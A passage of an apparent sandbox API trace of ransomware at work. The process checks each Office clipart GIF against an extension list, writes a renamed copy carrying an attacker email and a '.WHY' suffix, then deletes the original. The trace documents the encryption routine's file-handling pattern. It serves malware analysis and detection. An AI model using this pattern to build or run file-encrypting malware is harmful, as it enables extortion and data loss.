(lpString1=".GIF", lpString2=".WHY") returned -1 [0234.383] lstrlenW (lpString="AG00129_.GIF") returned 12 [0234.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.489] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=12482) returned 1 [0234.489] CloseHandle (hObject=0x398) returned 1 [0234.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0234.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.490] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.490] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0234.491] GetLastError () returned 0x0 [0234.491] ReadFile (in: hFile=0x398, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x30c2, lpOverlapped=0x0) returned 1 [0234.522] WriteFile (in: hFile=0x290, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0234.552] ReadFile (in: hFile=0x398, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0234.552] WriteFile (in: hFile=0x290, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.552] SetEndOfFile (hFile=0x290) returned 1 [0234.610] CloseHandle (hObject=0x290) returned 1 [0234.616] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.616] SetEndOfFile (hFile=0x398) returned 1 [0234.946] CloseHandle (hObject=0x398) returned 1 [0234.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0235.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0235.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.014] lstrlenW (lpString=".doc") returned 4 [0235.015] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0235.015] lstrlenW (lpString=".docx") returned 5 [0235.015] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0235.015] lstrlenW (lpString=".pdf") returned 4 [0235.015] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0235.015] lstrlenW (lpString=".xls") returned 4 [0235.015] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0235.015] lstrlenW (lpString=".xlsx") returned 5 [0235.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0235.015] lstrlenW (lpString=".ppt") returned 4 [0235.015] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0235.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.015] lstrlenW (lpString=".zip") returned 4 [0235.015] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0235.016] lstrlenW (lpString=".rar") returned 4 [0235.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0235.016] lstrlenW (lpString=".bz2") returned 4 [0235.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0235.016] lstrlenW (lpString=".7z") returned 3 [0235.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0235.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.016] lstrlenW (lpString=".dbf") returned 4 [0235.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0235.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.016] lstrlenW (lpString=".1cd") returned 4 [0235.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0235.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.017] lstrlenW (lpString=".jpg") returned 4 [0235.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0235.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.017] lstrlenW (lpString=".doc") returned 4 [0235.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0235.017] lstrlenW (lpString=".docx") returned 5 [0235.017] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0235.017] lstrlenW (lpString=".pdf") returned 4 [0235.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0235.017] lstrlenW (lpString=".xls") returned 4 [0235.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0235.018] lstrlenW (lpString=".xlsx") returned 5 [0235.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0235.018] lstrlenW (lpString=".ppt") returned 4 [0235.018] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0235.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.018] lstrlenW (lpString=".zip") returned 4 [0235.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0235.018] lstrlenW (lpString=".rar") returned 4 [0235.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0235.018] lstrlenW (lpString=".bz2") returned 4 [0235.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0235.018] lstrlenW (lpString=".7z") returned 3 [0235.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0235.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.019] lstrlenW (lpString=".dbf") returned 4 [0235.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0235.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.019] lstrlenW (lpString=".1cd") returned 4 [0235.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0235.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0235.019] lstrlenW (lpString=".jpg") returned 4 [0235.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0235.019] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0235.020] lstrlenW (lpString="AG00158_.GIF") returned 12 [0235.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0235.020] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=5030) returned 1 [0235.021] CloseHandle (hObject=0x37c) returned 1 [0235.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0235.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0235.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0235.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0235.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0235.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0235.023] GetLastError () returned 0x0 [0235.023] ReadFile (in: hFile=0x37c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x13a6, lpOverlapped=0x0) returned 1 [0235.091] WriteFile (in: hFile=0x258, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0235.094] ReadFile (in: hFile=0x37c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0235.094] WriteFile (in: hFile=0x258, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0235.095] SetEndOfFile (hFile=0x258) returned 1 [0239.074] CloseHandle (hObject=0x258) returned 1 [0239.589] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0239.589] SetEndOfFile (hFile=0x37c) returned 1 [0239.697] CloseHandle (hObject=0x37c) returned 1 [0239.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0240.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.649] lstrlenW (lpString=".doc") returned 4 [0240.649] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.649] lstrlenW (lpString=".docx") returned 5 [0240.650] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.650] lstrlenW (lpString=".pdf") returned 4 [0240.650] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.650] lstrlenW (lpString=".xls") returned 4 [0240.658] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.659] lstrlenW (lpString=".xlsx") returned 5 [0240.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.659] lstrlenW (lpString=".ppt") returned 4 [0240.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.659] lstrlenW (lpString=".zip") returned 4 [0240.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.659] lstrlenW (lpString=".rar") returned 4 [0240.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.660] lstrlenW (lpString=".bz2") returned 4 [0240.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.660] lstrlenW (lpString=".7z") returned 3 [0240.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.660] lstrlenW (lpString=".dbf") returned 4 [0240.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.660] lstrlenW (lpString=".1cd") returned 4 [0240.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.661] lstrlenW (lpString=".jpg") returned 4 [0240.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.661] lstrlenW (lpString=".doc") returned 4 [0240.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.661] lstrlenW (lpString=".docx") returned 5 [0240.661] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.661] lstrlenW (lpString=".pdf") returned 4 [0240.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.662] lstrlenW (lpString=".xls") returned 4 [0240.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.662] lstrlenW (lpString=".xlsx") returned 5 [0240.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.662] lstrlenW (lpString=".ppt") returned 4 [0240.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.662] lstrlenW (lpString=".zip") returned 4 [0240.662] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.662] lstrlenW (lpString=".rar") returned 4 [0240.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.663] lstrlenW (lpString=".bz2") returned 4 [0240.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.663] lstrlenW (lpString=".7z") returned 3 [0240.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.663] lstrlenW (lpString=".dbf") returned 4 [0240.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.663] lstrlenW (lpString=".1cd") returned 4 [0240.663] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0240.664] lstrlenW (lpString=".jpg") returned 4 [0240.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.664] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.683] lstrlenW (lpString="AG00164_.GIF") returned 12 [0240.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0240.694] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=13254) returned 1 [0240.695] CloseHandle (hObject=0x380) returned 1 [0240.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0240.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0240.696] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.696] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0240.697] GetLastError () returned 0x0 [0240.697] ReadFile (in: hFile=0x380, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x33c6, lpOverlapped=0x0) returned 1 [0241.234] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0241.239] ReadFile (in: hFile=0x380, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0241.239] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.239] SetEndOfFile (hFile=0x3a0) returned 1 [0241.239] CloseHandle (hObject=0x3a0) returned 1 [0241.241] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.241] SetEndOfFile (hFile=0x380) returned 1 [0241.248] CloseHandle (hObject=0x380) returned 1 [0241.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0241.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0241.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.538] lstrlenW (lpString=".doc") returned 4 [0241.538] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0241.538] lstrlenW (lpString=".docx") returned 5 [0241.538] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0241.538] lstrlenW (lpString=".pdf") returned 4 [0241.538] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0241.538] lstrlenW (lpString=".xls") returned 4 [0241.538] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0241.538] lstrlenW (lpString=".xlsx") returned 5 [0241.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0241.538] lstrlenW (lpString=".ppt") returned 4 [0241.538] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0241.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.539] lstrlenW (lpString=".zip") returned 4 [0241.539] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0241.539] lstrlenW (lpString=".rar") returned 4 [0241.539] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0241.539] lstrlenW (lpString=".bz2") returned 4 [0241.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0241.539] lstrlenW (lpString=".7z") returned 3 [0241.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0241.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.539] lstrlenW (lpString=".dbf") returned 4 [0241.539] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0241.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.539] lstrlenW (lpString=".1cd") returned 4 [0241.540] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0241.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.540] lstrlenW (lpString=".jpg") returned 4 [0241.540] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0241.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.540] lstrlenW (lpString=".doc") returned 4 [0241.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0241.541] lstrlenW (lpString=".docx") returned 5 [0241.541] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0241.541] lstrlenW (lpString=".pdf") returned 4 [0241.541] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0241.541] lstrlenW (lpString=".xls") returned 4 [0241.541] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0241.541] lstrlenW (lpString=".xlsx") returned 5 [0241.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0241.541] lstrlenW (lpString=".ppt") returned 4 [0241.541] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0241.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.541] lstrlenW (lpString=".zip") returned 4 [0241.541] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0241.541] lstrlenW (lpString=".rar") returned 4 [0241.542] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0241.542] lstrlenW (lpString=".bz2") returned 4 [0241.542] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0241.542] lstrlenW (lpString=".7z") returned 3 [0241.542] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0241.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.542] lstrlenW (lpString=".dbf") returned 4 [0241.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0241.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.542] lstrlenW (lpString=".1cd") returned 4 [0241.542] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0241.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0241.542] lstrlenW (lpString=".jpg") returned 4 [0241.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0241.543] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0241.543] lstrlenW (lpString="AG00175_.GIF") returned 12 [0241.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0241.545] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3378) returned 1 [0241.546] CloseHandle (hObject=0x3a4) returned 1 [0241.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft 